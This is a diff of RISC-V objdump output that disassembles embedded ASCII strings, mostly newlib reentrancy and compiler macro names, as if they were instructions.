-    5e24:	3b29                	jal	5b3e <__stack_size+0x533e>
-    5e26:	5f20                	lw	s0,120(a4)
-    5e28:	615f 6d73 5f5f      	0x5f5f6d73615f
-    5e2e:	2228                	fld	fa0,64(a2)
-    5e30:	612e                	flw	ft2,200(sp)
-    5e32:	7a696373          	csrrsi	t1,0x7a6,18
-    5e36:	5c20                	lw	s0,120(s0)
-    5e38:	2222                	fld	ft4,8(sp)
-    5e3a:	6d20                	flw	fs0,88(a0)
-    5e3c:	22206773          	csrrsi	a4,0x222,0
-    5e40:	225c                	fld	fa5,128(a2)
-    5e42:	2922                	fld	fs2,8(sp)
-    5e44:	5f5f203b          	0x5f5f203b
-    5e48:	7361                	lui	t1,0xffff8
-    5e4a:	5f6d                	li	t5,-5
-    5e4c:	285f 2e22 7270      	0x72702e22285f
-    5e52:	7665                	lui	a2,0xffff9
-    5e54:	6f69                	lui	t5,0x1a
-    5e56:	7375                	lui	t1,0xffffd
-    5e58:	2922                	fld	fs2,8(sp)
-    5e5a:	5f00                	lw	s0,56(a4)
-    5e5c:	4552                	lw	a0,20(sp)
-    5e5e:	4e45                	li	t3,17
-    5e60:	5f54                	lw	a3,60(a4)
-    5e62:	5341                	li	t1,-16
-    5e64:	4d495443          	0x4d495443
-    5e68:	5f45                	li	t5,-15
-    5e6a:	5542                	lw	a0,48(sp)
-    5e6c:	2846                	fld	fa6,80(sp)
-    5e6e:	7470                	flw	fa2,108(s0)
-    5e70:	2972                	fld	fs2,280(sp)
-    5e72:	2820                	fld	fs0,80(s0)
-    5e74:	7028                	flw	fa0,96(s0)
-    5e76:	7274                	flw	fa3,100(a2)
-    5e78:	2d29                	jal	6492 <__stack_size+0x5c92>
-    5e7a:	5f3e                	lw	t5,236(sp)
-    5e7c:	656e                	flw	fa0,216(sp)
-    5e7e:	725f2e77          	0x725f2e77
-    5e82:	6565                	lui	a0,0x19
-    5e84:	746e                	flw	fs0,248(sp)
-    5e86:	5f2e                	lw	t5,232(sp)
-    5e88:	7361                	lui	t1,0xffff8
-    5e8a:	6d697463          	bgeu	s2,s6,6552 <__stack_size+0x5d52>
-    5e8e:	5f65                	li	t5,-7
-    5e90:	7562                	flw	fa0,56(sp)
-    5e92:	2966                	fld	fs2,88(sp)
-    5e94:	5f00                	lw	s0,56(a4)
-    5e96:	4146                	lw	sp,80(sp)
-    5e98:	434e5953          	0x434e5953
-    5e9c:	3020                	fld	fs0,96(s0)
-    5e9e:	3078                	fld	fa4,224(s0)
-    5ea0:	3430                	fld	fa2,104(s0)
-    5ea2:	0030                	addi	a2,sp,8
-    5ea4:	5f5f 4e49 5f54      	0x5f544e495f5f
-    5eaa:	4146                	lw	sp,80(sp)
-    5eac:	5f385453          	0x5f385453
-    5eb0:	5954                	lw	a3,52(a0)
-    5eb2:	4550                	lw	a2,12(a0)
-    5eb4:	5f5f 6920 746e      	0x746e69205f5f
+    58cc:	2220                	fld	fs0,64(a2)
+    58ce:	2c22                	fld	fs8,8(sp)
+    58d0:	3020                	fld	fs0,96(s0)
+    58d2:	202c                	fld	fa1,64(s0)
+    58d4:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58da:	3020                	fld	fs0,96(s0)
+    58dc:	202c                	fld	fa1,64(s0)
+    58de:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58e4:	5f20                	lw	s0,120(a4)
+    58e6:	554e                	lw	a0,240(sp)
+    58e8:	4c4c                	lw	a1,28(s0)
+    58ea:	202c                	fld	fa1,64(s0)
+    58ec:	2c30                	fld	fa2,88(s0)
+    58ee:	5f20                	lw	s0,120(a4)
+    58f0:	554e                	lw	a0,240(sp)
+    58f2:	4c4c                	lw	a1,28(s0)
+    58f4:	202c                	fld	fa1,64(s0)
+    58f6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58fc:	3020                	fld	fs0,96(s0)
+    58fe:	202c                	fld	fa1,64(s0)
+    5900:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    5906:	7b20                	flw	fs0,112(a4)
+    5908:	7b20                	flw	fs0,112(a4)
+    590a:	3020                	fld	fs0,96(s0)
+    590c:	202c                	fld	fa1,64(s0)
+    590e:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    5914:	2220                	fld	fs0,64(a2)
+    5916:	2c22                	fld	fs8,8(sp)
+    5918:	7b20                	flw	fs0,112(a4)
+    591a:	2c30                	fld	fa2,88(s0)
+    591c:	3020                	fld	fs0,96(s0)
+    591e:	202c                	fld	fa1,64(s0)
+    5920:	2c30                	fld	fa2,88(s0)
+    5922:	3020                	fld	fs0,96(s0)
+    5924:	202c                	fld	fa1,64(s0)
+    5926:	2c30                	fld	fa2,88(s0)
+    5928:	3020                	fld	fs0,96(s0)
+    592a:	202c                	fld	fa1,64(s0)
+    592c:	2c30                	fld	fa2,88(s0)
+    592e:	3020                	fld	fs0,96(s0)
+    5930:	202c                	fld	fa1,64(s0)
+    5932:	7d30                	flw	fa2,120(a0)
+    5934:	202c                	fld	fa1,64(s0)
+    5936:	2c30                	fld	fa2,88(s0)
+    5938:	3120                	fld	fs0,96(a0)
+    593a:	202c                	fld	fa1,64(s0)
+    593c:	5f7b207b          	0x5f7b207b
+    5940:	4152                	lw	sp,20(sp)
+    5942:	444e                	lw	s0,208(sp)
+    5944:	3834                	fld	fa3,112(s0)
+    5946:	535f 4545 5f44      	0x5f444545535f
+    594c:	2c30                	fld	fa2,88(s0)
+    594e:	5f20                	lw	s0,120(a4)
+    5950:	4152                	lw	sp,20(sp)
+    5952:	444e                	lw	s0,208(sp)
+    5954:	3834                	fld	fa3,112(s0)
+    5956:	535f 4545 5f44      	0x5f444545535f
+    595c:	2c31                	jal	5b78 <__stack_size+0x5378>
+    595e:	5f20                	lw	s0,120(a4)
+    5960:	4152                	lw	sp,20(sp)
+    5962:	444e                	lw	s0,208(sp)
+    5964:	3834                	fld	fa3,112(s0)
+    5966:	535f 4545 5f44      	0x5f444545535f
+    596c:	7d32                	flw	fs10,44(sp)
+    596e:	202c                	fld	fa1,64(s0)
+    5970:	41525f7b          	0x41525f7b
+    5974:	444e                	lw	s0,208(sp)
+    5976:	3834                	fld	fa3,112(s0)
+    5978:	4d5f 4c55 5f54      	0x5f544c554d5f
+    597e:	2c30                	fld	fa2,88(s0)
+    5980:	5f20                	lw	s0,120(a4)
+    5982:	4152                	lw	sp,20(sp)
+    5984:	444e                	lw	s0,208(sp)
+    5986:	3834                	fld	fa3,112(s0)
+    5988:	4d5f 4c55 5f54      	0x5f544c554d5f
+    598e:	2c31                	jal	5baa <__stack_size+0x53aa>
+    5990:	5f20                	lw	s0,120(a4)
+    5992:	4152                	lw	sp,20(sp)
+    5994:	444e                	lw	s0,208(sp)
+    5996:	3834                	fld	fa3,112(s0)
+    5998:	4d5f 4c55 5f54      	0x5f544c554d5f
+    599e:	7d32                	flw	fs10,44(sp)
+    59a0:	202c                	fld	fa1,64(s0)
+    59a2:	525f 4e41 3444      	0x34444e41525f
+    59a8:	5f38                	lw	a4,120(a4)
+    59aa:	4441                	li	s0,16
+    59ac:	2044                	fld	fs1,128(s0)
+    59ae:	2c7d                	jal	5c6c <__stack_size+0x546c>
+    59b0:	7b20                	flw	fs0,112(a4)
+    59b2:	2c30                	fld	fa2,88(s0)
+    59b4:	7b20                	flw	fs0,112(a4)
+    59b6:	7d30                	flw	fa2,120(a0)
+    59b8:	2c7d                	jal	5c76 <__stack_size+0x5476>
+    59ba:	7b20                	flw	fs0,112(a4)
+    59bc:	2c30                	fld	fa2,88(s0)
+    59be:	7b20                	flw	fs0,112(a4)
+    59c0:	7d30                	flw	fa2,120(a0)
+    59c2:	2c7d                	jal	5c80 <__stack_size+0x5480>
+    59c4:	7b20                	flw	fs0,112(a4)
+    59c6:	2c30                	fld	fa2,88(s0)
+    59c8:	7b20                	flw	fs0,112(a4)
+    59ca:	7d30                	flw	fa2,120(a0)
+    59cc:	2c7d                	jal	5c8a <__stack_size+0x548a>
+    59ce:	2220                	fld	fs0,64(a2)
+    59d0:	2c22                	fld	fs8,8(sp)
+    59d2:	2220                	fld	fs0,64(a2)
+    59d4:	2c22                	fld	fs8,8(sp)
+    59d6:	3020                	fld	fs0,96(s0)
+    59d8:	202c                	fld	fa1,64(s0)
+    59da:	202c307b          	0x202c307b
+    59de:	7d7d307b          	0x7d7d307b
+    59e2:	202c                	fld	fa1,64(s0)
+    59e4:	202c307b          	0x202c307b
+    59e8:	7d7d307b          	0x7d7d307b
+    59ec:	202c                	fld	fa1,64(s0)
+    59ee:	202c307b          	0x202c307b
+    59f2:	7d7d307b          	0x7d7d307b
+    59f6:	202c                	fld	fa1,64(s0)
+    59f8:	202c307b          	0x202c307b
+    59fc:	7d7d307b          	0x7d7d307b
+    5a00:	202c                	fld	fa1,64(s0)
+    5a02:	202c307b          	0x202c307b
+    5a06:	7d7d307b          	0x7d7d307b
+    5a0a:	7d20                	flw	fs0,120(a0)
+    5a0c:	7d20                	flw	fs0,120(a0)
+    5a0e:	202c                	fld	fa1,64(s0)
+    5a10:	525f 4545 544e      	0x544e4545525f
+    5a16:	495f 494e 5f54      	0x5f54494e495f
+    5a1c:	5441                	li	s0,-16
+    5a1e:	5845                	li	a6,-15
+    5a20:	5449                	li	s0,-14
+    5a22:	5f20                	lw	s0,120(a4)
+    5a24:	554e                	lw	a0,240(sp)
+    5a26:	4c4c                	lw	a1,28(s0)
+    5a28:	202c                	fld	fa1,64(s0)
+    5a2a:	554e5f7b          	0x554e5f7b
+    5a2e:	4c4c                	lw	a1,28(s0)
+    5a30:	202c                	fld	fa1,64(s0)
+    5a32:	2c30                	fld	fa2,88(s0)
+    5a34:	5f20                	lw	s0,120(a4)
+    5a36:	554e                	lw	a0,240(sp)
+    5a38:	4c4c                	lw	a1,28(s0)
+    5a3a:	207d                	jal	5ae8 <__stack_size+0x52e8>
+    5a3c:	007d                	c.nop	31
+    5a3e:	5f5f 4c46 3654      	0x36544c465f5f
+    5a44:	5834                	lw	a3,112(s0)
+    5a46:	445f 4749 5f5f      	0x5f5f4749445f
+    5a4c:	3320                	fld	fs0,96(a4)
+    5a4e:	475f0033          	0x475f0033
+    5a52:	4f4c                	lw	a1,28(a4)
+    5a54:	4142                	lw	sp,16(sp)
+    5a56:	5f4c                	lw	a1,60(a4)
+    5a58:	5441                	li	s0,-16
+    5a5a:	5845                	li	a6,-15
+    5a5c:	5449                	li	s0,-14
+    5a5e:	2820                	fld	fs0,80(s0)
+    5a60:	475f 4f4c 4142      	0x41424f4c475f
+    5a66:	5f4c                	lw	a1,60(a4)
+    5a68:	4552                	lw	a0,20(sp)
+    5a6a:	4e45                	li	t3,17
+    5a6c:	2d54                	fld	fa3,152(a0)
+    5a6e:	5f3e                	lw	t5,236(sp)
+    5a70:	7461                	lui	s0,0xffff8
+    5a72:	7865                	lui	a6,0xffff9
+    5a74:	7469                	lui	s0,0xffffa
+    5a76:	0029                	c.nop	10
+    5a78:	5f5f 6f6e 6e6e      	0x6e6e6f6e5f5f
+    5a7e:	6c75                	lui	s8,0x1d
+    5a80:	286c                	fld	fa1,208(s0)
+    5a82:	2978                	fld	fa4,208(a0)
+    5a84:	5f20                	lw	s0,120(a4)
+    5a86:	615f 7474 6972      	0x69727474615f
+    5a8c:	7562                	flw	fa0,56(sp)
+    5a8e:	6574                	flw	fa3,76(a0)
+    5a90:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    5a96:	6f6e                	flw	ft10,216(sp)
+    5a98:	6e6e                	flw	ft8,216(sp)
+    5a9a:	6c75                	lui	s8,0x1d
+    5a9c:	5f6c                	lw	a1,124(a4)
+    5a9e:	205f 2978 0029      	0x292978205f
+    5aa4:	425f 4453 535f      	0x535f4453425f
+    5aaa:	5a49                	li	s4,-14
+    5aac:	5f45                	li	t5,-15
+    5aae:	5f54                	lw	a3,60(a4)
+    5ab0:	0020                	addi	s0,sp,8
+    5ab2:	4955                	li	s2,21
+    5ab4:	544e                	lw	s0,240(sp)
+    5ab6:	3631                	jal	55c2 <__stack_size+0x4dc2>
+    5ab8:	435f 6328 2029      	0x20296328435f
+    5abe:	5f5f 4955 544e      	0x544e49555f5f
+    5ac4:	3631                	jal	55d0 <__stack_size+0x4dd0>
+    5ac6:	435f 6328 0029      	0x296328435f
+    5acc:	5f5f 4e49 5054      	0x50544e495f5f
+    5ad2:	5254                	lw	a3,36(a2)
+    5ad4:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5ada:	3020                	fld	fs0,96(s0)
+    5adc:	3778                	fld	fa4,232(a4)
+    5ade:	6666                	flw	fa2,88(sp)
+    5ae0:	6666                	flw	fa2,88(sp)
+    5ae2:	6666                	flw	fa2,88(sp)
+    5ae4:	0066                	c.slli	zero,0x19
+    5ae6:	5750                	lw	a2,44(a4)
+    5ae8:	5f4d                	li	t5,-13
+    5aea:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    5aee:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
+    5af2:	5049                	c.li	zero,-14
+    5af4:	3020                	fld	fs0,96(s0)
+    5af6:	3278                	fld	fa4,224(a2)
+    5af8:	3030                	fld	fa2,96(s0)
+    5afa:	3030                	fld	fa2,96(s0)
+    5afc:	3030                	fld	fa2,96(s0)
+    5afe:	0030                	addi	a2,sp,8
+    5b00:	5f5f 6163 6464      	0x646461635f5f
+    5b06:	5f72                	lw	t5,60(sp)
+    5b08:	5f74                	lw	a3,124(a4)
+    5b0a:	6564                	flw	fs1,76(a0)
+    5b0c:	6966                	flw	fs2,88(sp)
+    5b0e:	656e                	flw	fa0,216(sp)
+    5b10:	2064                	fld	fs1,192(s0)
+    5b12:	4600                	lw	s0,8(a2)
+    5b14:	535f 5445 4b4c      	0x4b4c5445535f
+    5b1a:	00392057          	0x392057
+    5b1e:	5f5f 4347 5f43      	0x5f4343475f5f
+    5b24:	5441                	li	s0,-16
+    5b26:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    5b2a:	505f 494f 544e      	0x544e494f505f
+    5b30:	5245                	li	tp,-15
+    5b32:	4c5f 434f 5f4b      	0x5f4b434f4c5f
+    5b38:	5246                	lw	tp,112(sp)
+    5b3a:	4545                	li	a0,17
+    5b3c:	3220                	fld	fs0,96(a2)
+    5b3e:	5f00                	lw	s0,56(a4)
+    5b40:	6f4e                	flw	ft10,208(sp)
+    5b42:	6e6e                	flw	ft8,216(sp)
+    5b44:	6c75                	lui	s8,0x1d
+    5b46:	206c                	fld	fa1,192(s0)
+    5b48:	4300                	lw	s0,0(a4)
+    5b4a:	4d5f5253          	0x4d5f5253
+    5b4e:	5048                	lw	a0,36(s0)
+    5b50:	434d                	li	t1,19
+    5b52:	544e554f          	0x544e554f
+    5b56:	5245                	li	tp,-15
+    5b58:	32203133          	0x32203133
+    5b5c:	4c500037          	lui	zero,0x4c500
+    5b60:	4349                	li	t1,18
+    5b62:	425f 5341 2045      	0x20455341425f
+    5b68:	7830                	flw	fa2,112(s0)
+    5b6a:	4330                	lw	a2,64(a4)
+    5b6c:	3030                	fld	fa2,96(s0)
+    5b6e:	3030                	fld	fa2,96(s0)
+    5b70:	3030                	fld	fa2,96(s0)
+    5b72:	4900                	lw	s0,16(a0)
+    5b74:	5152                	lw	sp,52(sp)
+    5b76:	2820                	fld	fs0,80(s0)
+    5b78:	5531                	li	a0,-20
+    5b7a:	204c                	fld	fa1,128(s0)
+    5b7c:	3c3c                	fld	fa5,120(s0)
+    5b7e:	5f5f 6972 6373      	0x637369725f5f
+    5b84:	5f76                	lw	t5,124(sp)
+    5b86:	6c78                	flw	fa4,92(s0)
+    5b88:	6e65                	lui	t3,0x19
+    5b8a:	312d                	jal	57b4 <__stack_size+0x4fb4>
+    5b8c:	0029                	c.nop	10
+    5b8e:	535f 5f43 5f32      	0x5f325f43535f
+    5b94:	49425f43          	fmadd.s	ft10,ft4,fs4,fs1,unknown
+    5b98:	444e                	lw	s0,208(sp)
+    5b9a:	3120                	fld	fs0,96(a0)
+    5b9c:	3830                	fld	fa2,112(s0)
+    5b9e:	5f00                	lw	s0,56(a4)
+    5ba0:	5746                	lw	a4,112(sp)
+    5ba2:	4952                	lw	s2,20(sp)
+    5ba4:	4554                	lw	a3,12(a0)
+    5ba6:	3020                	fld	fs0,96(s0)
+    5ba8:	3078                	fld	fa4,224(s0)
+    5baa:	3030                	fld	fa2,96(s0)
+    5bac:	0032                	c.slli	zero,0xc
+    5bae:	5f5f 695f 746e      	0x746e695f5f5f
+    5bb4:	3436                	fld	fs0,360(sp)
+    5bb6:	745f 645f 6665      	0x6665645f745f
+    5bbc:	6e69                	lui	t3,0x1a
+    5bbe:	6465                	lui	s0,0x19
+    5bc0:	3120                	fld	fs0,96(a0)
+    5bc2:	5f00                	lw	s0,56(a4)
+    5bc4:	4152                	lw	sp,20(sp)
+    5bc6:	444e                	lw	s0,208(sp)
+    5bc8:	3834                	fld	fa3,112(s0)
+    5bca:	4d5f 4c55 5f54      	0x5f544c554d5f
+    5bd0:	2031                	jal	5bdc <__stack_size+0x53dc>
+    5bd2:	3028                	fld	fa0,96(s0)
+    5bd4:	6478                	flw	fa4,76(s0)
+    5bd6:	6565                	lui	a0,0x19
+    5bd8:	5f002963          	0x5f002963
+    5bdc:	435f4353          	0x435f4353
+    5be0:	4b4c                	lw	a1,20(a4)
+    5be2:	545f 4b43 3220      	0x32204b43545f
+    5be8:	5f00                	lw	s0,56(a4)
+    5bea:	465f 544c 3233      	0x3233544c465f
+    5bf0:	4d5f 5841 315f      	0x315f58414d5f
+    5bf6:	5f30                	lw	a2,120(a4)
+    5bf8:	5845                	li	a6,-15
+    5bfa:	5f50                	lw	a2,60(a4)
+    5bfc:	205f 3833 5f00      	0x5f003833205f
+    5c02:	545f4353          	0x545f4353
+    5c06:	4152                	lw	sp,20(sp)
+    5c08:	455f4543          	0x455f4543
+    5c0c:	4556                	lw	a0,84(sp)
+    5c0e:	544e                	lw	s0,240(sp)
+    5c10:	465f 4c49 4554      	0x45544c49465f
+    5c16:	2052                	fld	ft0,272(sp)
+    5c18:	3438                	fld	fa4,104(s0)
+    5c1a:	5f00                	lw	s0,56(a4)
+    5c1c:	465f 544c 3436      	0x3436544c465f
+    5c22:	455f 5350 4c49      	0x4c495350455f
+    5c28:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    5c2c:	3220                	fld	fs0,96(a2)
+    5c2e:	322e                	fld	ft4,232(sp)
+    5c30:	3032                	fld	ft0,296(sp)
+    5c32:	3434                	fld	fa3,104(s0)
+    5c34:	3036                	fld	ft0,360(sp)
+    5c36:	3934                	fld	fa3,112(a0)
+    5c38:	3532                	fld	fa0,296(sp)
+    5c3a:	3330                	fld	fa2,96(a4)
+    5c3c:	3331                	jal	5948 <__stack_size+0x5148>
+    5c3e:	3830                	fld	fa2,112(s0)
+    5c40:	3830                	fld	fa2,112(s0)
+    5c42:	3734                	fld	fa3,104(a4)
+    5c44:	3632                	fld	fa2,296(sp)
+    5c46:	36333333          	0x36333333
+    5c4a:	3831                	jal	5466 <__stack_size+0x4c66>
+    5c4c:	3631                	jal	5758 <__stack_size+0x4f58>
+    5c4e:	3034                	fld	fa3,96(s0)
+    5c50:	3236                	fld	ft4,360(sp)
+    5c52:	2d65                	jal	630a <__stack_size+0x5b0a>
+    5c54:	3631                	jal	5760 <__stack_size+0x4f60>
+    5c56:	3646                	fld	fa2,112(sp)
+    5c58:	0034                	addi	a3,sp,8
+    5c5a:	525f 4545 544e      	0x544e4545525f
+    5c60:	525f 4e41 3444      	0x34444e41525f
+    5c66:	5f38                	lw	a4,120(a4)
+    5c68:	554d                	li	a0,-13
+    5c6a:	544c                	lw	a1,44(s0)
+    5c6c:	7028                	flw	fa0,96(s0)
+    5c6e:	7274                	flw	fa3,100(a2)
+    5c70:	2029                	jal	5c7a <__stack_size+0x547a>
+    5c72:	2828                	fld	fa0,80(s0)
+    5c74:	7470                	flw	fa2,108(s0)
+    5c76:	2972                	fld	fs2,280(sp)
+    5c78:	3e2d                	jal	57b2 <__stack_size+0x4fb2>
+    5c7a:	6e5f 7765 5f2e      	0x5f2e77656e5f
+    5c80:	6572                	flw	fa0,28(sp)
+    5c82:	6e65                	lui	t3,0x19
+    5c84:	2e74                	fld	fa3,216(a2)
+    5c86:	725f 3834 5f2e      	0x5f2e3834725f
+    5c8c:	756d                	lui	a0,0xffffb
+    5c8e:	746c                	flw	fa1,108(s0)
+    5c90:	0029                	c.nop	10
+    5c92:	535f 5f43 4552      	0x45525f43535f
+    5c98:	4c41                	li	s8,16
+    5c9a:	4954                	lw	a3,20(a0)
+    5c9c:	454d                	li	a0,19
+    5c9e:	535f 4749 414e      	0x414e4749535f
+    5ca4:	534c                	lw	a1,36(a4)
+    5ca6:	3220                	fld	fs0,96(a2)
+    5ca8:	0039                	c.nop	14
+    5caa:	4e49                	li	t3,18
+    5cac:	5f54                	lw	a3,60(a4)
+    5cae:	454c                	lw	a1,12(a0)
+    5cb0:	5341                	li	t1,-16
+    5cb2:	3354                	fld	fa3,160(a4)
+    5cb4:	5f32                	lw	t5,44(sp)
+    5cb6:	494d                	li	s2,19
+    5cb8:	204e                	fld	ft0,208(sp)
+    5cba:	2d28                	fld	fa0,88(a0)
+    5cbc:	4e49                	li	t3,18
+    5cbe:	5f54                	lw	a3,60(a4)
+    5cc0:	454c                	lw	a1,12(a0)
+    5cc2:	5341                	li	t1,-16
+    5cc4:	3354                	fld	fa3,160(a4)
+    5cc6:	5f32                	lw	t5,44(sp)
+    5cc8:	414d                	li	sp,19
+    5cca:	2058                	fld	fa4,128(s0)
+    5ccc:	202d                	jal	5cf6 <__stack_size+0x54f6>
+    5cce:	2931                	jal	60ea <__stack_size+0x58ea>
+    5cd0:	5f00                	lw	s0,56(a4)
+    5cd2:	505f 4152 4d47      	0x4d474152505f
+    5cd8:	5f41                	li	t5,-16
+    5cda:	4552                	lw	a0,20(sp)
+    5cdc:	4544                	lw	s1,12(a0)
+    5cde:	4946                	lw	s2,80(sp)
+    5ce0:	454e                	lw	a0,208(sp)
+    5ce2:	455f 5458 414e      	0x414e5458455f
+    5ce8:	454d                	li	a0,19
+    5cea:	3120                	fld	fs0,96(a0)
+    5cec:	5f00                	lw	s0,56(a4)
+    5cee:	495f4353          	0x495f4353
+    5cf2:	4d5f564f          	0x4d5f564f
+    5cf6:	5841                	li	a6,-16
+    5cf8:	3620                	fld	fs0,104(a2)
+    5cfa:	0036                	c.slli	zero,0xd
+    5cfc:	5f5f 4953 455a      	0x455a49535f5f
+    5d02:	495f464f          	fnmadd.s	fa2,ft10,fs5,fs1,rmm
+    5d06:	544e                	lw	s0,240(sp)
+    5d08:	5f5f 3420 4600      	0x460034205f5f
+    5d0e:	4c5f 434f 204b      	0x204b434f4c5f
+    5d14:	0031                	c.nop	12
+    5d16:	5f5f 444c 4c42      	0x4c42444c5f5f
+    5d1c:	485f 5341 445f      	0x445f5341485f
+    5d22:	4e45                	li	t3,17
+    5d24:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    5d28:	205f 0031 5343      	0x53430031205f
+    5d2e:	5f52                	lw	t5,52(sp)
+    5d30:	494d                	li	s2,19
+    5d32:	534e                	lw	t1,240(sp)
+    5d34:	5254                	lw	a3,36(a2)
+    5d36:	5445                	li	s0,-15
+    5d38:	2048                	fld	fa0,128(s0)
+    5d3a:	3831                	jal	5556 <__stack_size+0x4d56>
+    5d3c:	5f00                	lw	s0,56(a4)
+    5d3e:	4e41                	li	t3,16
+    5d40:	535f4953          	0x535f4953
+    5d44:	4454                	lw	a3,12(s0)
+    5d46:	4544                	lw	s1,12(a0)
+    5d48:	5f46                	lw	t5,112(sp)
+    5d4a:	2048                	fld	fa0,128(s0)
+    5d4c:	4300                	lw	s0,0(a4)
+    5d4e:	494c                	lw	a1,20(a0)
+    5d50:	544e                	lw	s0,240(sp)
+    5d52:	4d5f 4954 454d      	0x454d49544d5f
+    5d58:	3020                	fld	fs0,96(s0)
+    5d5a:	4278                	lw	a4,68(a2)
+    5d5c:	4646                	lw	a2,80(sp)
+    5d5e:	0038                	addi	a4,sp,8
+    5d60:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    5d64:	505f 4c55 554c      	0x554c4c55505f
+    5d6a:	5f50                	lw	a2,60(a4)
+    5d6c:	4e45                	li	t3,17
+    5d6e:	3020                	fld	fs0,96(s0)
+    5d70:	3178                	fld	fa4,224(a0)
+    5d72:	0030                	addi	a2,sp,8
+    5d74:	525f 4e41 3444      	0x34444e41525f
+    5d7a:	5f38                	lw	a4,120(a4)
+    5d7c:	554d                	li	a0,-13
+    5d7e:	544c                	lw	a1,44(s0)
+    5d80:	325f 2820 7830      	0x78302820325f
+    5d86:	3030                	fld	fa2,96(s0)
+    5d88:	3530                	fld	fa2,104(a0)
+    5d8a:	0029                	c.nop	10
+    5d8c:	535f 5f43 5053      	0x50535f43535f
+    5d92:	5741                	li	a4,-16
+    5d94:	204e                	fld	ft0,208(sp)
+    5d96:	5f003537          	lui	a0,0x5f003
+    5d9a:	435f 5f43 5553      	0x55535f43435f
+    5da0:	5050                	lw	a2,36(s0)
+    5da2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
+    5da6:	565f 5241 4441      	0x44415241565f
+    5dac:	4349                	li	t1,18
+    5dae:	585f 5858 3120      	0x31205858585f
+    5db4:	5f00                	lw	s0,56(a4)
+    5db6:	475f 4343 415f      	0x415f4343475f
+    5dbc:	4f54                	lw	a3,28(a4)
+    5dbe:	494d                	li	s2,19
+    5dc0:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
+    5dc4:	5f54                	lw	a3,60(a4)
+    5dc6:	4f4c                	lw	a1,28(a4)
+    5dc8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    5dcc:	4552                	lw	a0,20(sp)
+    5dce:	2045                	jal	5e6e <__stack_size+0x566e>
+    5dd0:	0032                	c.slli	zero,0xc
+    5dd2:	5f5f 4c46 3654      	0x36544c465f5f
+    5dd8:	5f34                	lw	a3,120(a4)
+    5dda:	414d                	li	sp,19
+    5ddc:	5f58                	lw	a4,60(a4)
+    5dde:	5845                	li	a6,-15
+    5de0:	5f50                	lw	a2,60(a4)
+    5de2:	205f 3031 3432      	0x34323031205f
+    5de8:	5f00                	lw	s0,56(a4)
+    5dea:	6c5f 636f 616b      	0x616b636f6c5f
+    5df0:	6c62                	flw	fs8,24(sp)
+    5df2:	2065                	jal	5e9a <__stack_size+0x569a>
+    5df4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    5dfa:	615f 6e6e 746f      	0x746f6e6e615f
+    5e00:	7461                	lui	s0,0xffff8
+    5e02:	2865                	jal	5eba <__stack_size+0x56ba>
+    5e04:	6f6c                	flw	fa1,92(a4)
+    5e06:	62616b63          	bltu	sp,t1,643c <__stack_size+0x5c3c>
+    5e0a:	656c                	flw	fa1,76(a0)
+    5e0c:	0029                	c.nop	10
+    5e0e:	4346                	lw	t1,80(sp)
+    5e10:	4552                	lw	a0,20(sp)
+    5e12:	5441                	li	s0,-16
+    5e14:	5f20                	lw	s0,120(a4)
+    5e16:	4346                	lw	t1,80(sp)
+    5e18:	4552                	lw	a0,20(sp)
+    5e1a:	5441                	li	s0,-16
+    5e1c:	5f00                	lw	s0,56(a4)
+    5e1e:	685f 7361 655f      	0x655f7361685f
+    5e24:	7478                	flw	fa4,108(s0)
+    5e26:	6e65                	lui	t3,0x19
+    5e28:	6e6f6973          	csrrsi	s2,0x6e6,30
+    5e2c:	5f20                	lw	s0,120(a4)
+    5e2e:	685f 7361 665f      	0x665f7361685f
+    5e34:	6165                	addi	sp,sp,112
+    5e36:	7574                	flw	fa3,108(a0)
+    5e38:	6572                	flw	fa0,28(sp)
+    5e3a:	5f00                	lw	s0,56(a4)
+    5e3c:	525f 4745 5349      	0x53494745525f
+    5e42:	4554                	lw	a3,12(a0)
+    5e44:	5f52                	lw	t5,52(sp)
+    5e46:	5250                	lw	a2,36(a2)
+    5e48:	4645                	li	a2,17
+    5e4a:	5849                	li	a6,-14
+    5e4c:	5f5f 0020 5f5f      	0x5f5f00205f5f
+    5e52:	6e75                	lui	t3,0x1d
+    5e54:	6f6c                	flw	fa1,92(a4)
+    5e56:	28736b63          	bltu	t1,t2,60ec <__stack_size+0x58ec>
+    5e5a:	2e2e                	fld	ft8,200(sp)
+    5e5c:	292e                	fld	fs2,200(sp)
+    5e5e:	5f20                	lw	s0,120(a4)
+    5e60:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5e66:	6e61                	lui	t3,0x18
+    5e68:	6f6e                	flw	ft10,216(sp)
+    5e6a:	6174                	flw	fa3,68(a0)
+    5e6c:	6574                	flw	fa3,76(a0)
+    5e6e:	7528                	flw	fa0,104(a0)
+    5e70:	6c6e                	flw	fs8,216(sp)
+    5e72:	5f6b636f          	jal	t1,bc468 <__stack_size+0xbbc68>
+    5e76:	7566                	flw	fa0,120(sp)
+    5e78:	636e                	flw	ft6,216(sp)
+    5e7a:	6974                	flw	fa3,84(a0)
+    5e7c:	5f286e6f          	jal	t3,8c46e <__stack_size+0x8bc6e>
+    5e80:	565f 5f41 5241      	0x52415f41565f
+    5e86:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    5e8a:	2929                	jal	62a4 <__stack_size+0x5aa4>
+    5e8c:	5300                	lw	s0,32(a4)
+    5e8e:	4454                	lw	a3,12(s0)
+    5e90:	4e49                	li	t3,18
+    5e92:	465f 4c49 4e45      	0x4e454c49465f
+    5e98:	0030204f          	fnmadd.s	ft0,ft0,ft3,ft0,rdn
